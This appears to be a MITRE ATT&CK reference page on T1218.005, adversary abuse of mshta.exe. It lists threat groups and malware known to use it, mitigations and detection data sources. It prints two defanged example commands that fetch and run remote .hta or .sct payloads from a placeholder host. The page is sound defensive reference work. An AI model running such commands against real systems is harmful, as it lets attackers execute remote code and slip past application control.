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T1218.005 Mshta

Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code 1 2 3 4 5

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. 6 HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. 7

Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(“GetObject(“”script:https[:]//webserver/payload[.]sct”“)”))

They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta

Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer’s security context, it also bypasses browser security settings. 8

Item Value
ID T1218.005
Sub-techniques T1218.001, T1218.002, T1218.003, T1218.004, T1218.005, T1218.007, T1218.008, T1218.009, T1218.010, T1218.011, T1218.012, T1218.013, T1218.014
Tactics TA0005
Platforms Windows
Permissions required User
Version 2.0
Created 23 January 2020
Last Modified 11 March 2022

Procedure Examples

ID Name Description
G0016 APT29 APT29 has use mshta to execute malicious scripts on a compromised host.27
G0050 APT32 APT32 has used mshta.exe for code execution.3132
S0414 BabyShark BabyShark has used mshta.exe to download and execute applications from a remote server.16
C0015 C0015 During C0015, the threat actors used mshta to execute DLLs.37
G0142 Confucius Confucius has used mshta.exe to execute malicious VBScript.30
G1006 Earth Lusca Earth Lusca has used mshta.exe to load an HTA script within a malicious .LNK file.26
G0046 FIN7 FIN7 has used mshta.exe to execute VBScript to execute malicious code on victim systems.5
G0047 Gamaredon Group Gamaredon Group has used mshta.exe to execute malicious HTA files.18
G0100 Inception Inception has used malicious HTA files to drop and execute malware.36
G0094 Kimsuky Kimsuky has used mshta.exe to run malicious scripts on the system.22162324
S0250 Koadic Koadic can use mshta to serve additional payloads and to help schedule tasks for persistence.1110
G0032 Lazarus Group Lazarus Group has used mshta.exe to execute HTML pages downloaded by initial access documents.3435
G0140 LazyScripter LazyScripter has used mshta.exe to execute Koadic stagers.10
S0455 Metamorfo Metamorfo has used mshta.exe to execute a HTA payload.15
G0069 MuddyWater MuddyWater has used mshta.exe to execute its POWERSTATS payload and to pass a PowerShell one-liner for execution.1720
G0129 Mustang Panda Mustang Panda has used mshta.exe to launch collection scripts.21
S0228 NanHaiShu NanHaiShu uses mshta.exe to load its program and files.19
C0016 Operation Dust Storm During Operation Dust Storm, the threat actors executed JavaScript code via mshta.exe.1
S0223 POWERSTATS POWERSTATS can use Mshta.exe to execute additional payloads on compromised hosts.17
S0147 Pteranodon Pteranodon can use mshta.exe to execute an HTA file hosted on a remote server.18
S0379 Revenge RAT Revenge RAT uses mshta.exe to run malicious scripts on the system.13
S0589 Sibot Sibot has been executed via MSHTA application.14
G1008 SideCopy SideCopy has utilized mshta.exe to execute a malicious hta file.25
G0121 Sidewinder Sidewinder has used mshta.exe to execute malicious payloads.2829
G0127 TA551 TA551 has used mshta.exe to execute malicious payloads.33
S0341 Xbash Xbash can use mshta for executing scripts.12


ID Mitigation Description
M1042 Disable or Remove Feature or Program Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer that have reached end of life.
M1038 Execution Prevention Use application control configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries. For example, in Windows 10 and Windows Server 2016 and above, Windows Defender Application Control (WDAC) policy rules may be applied to block the mshta.exe application and to prevent abuse.9


ID Data Source Data Component
DS0017 Command Command Execution
DS0022 File File Creation
DS0029 Network Traffic Network Connection Creation
DS0009 Process Process Creation


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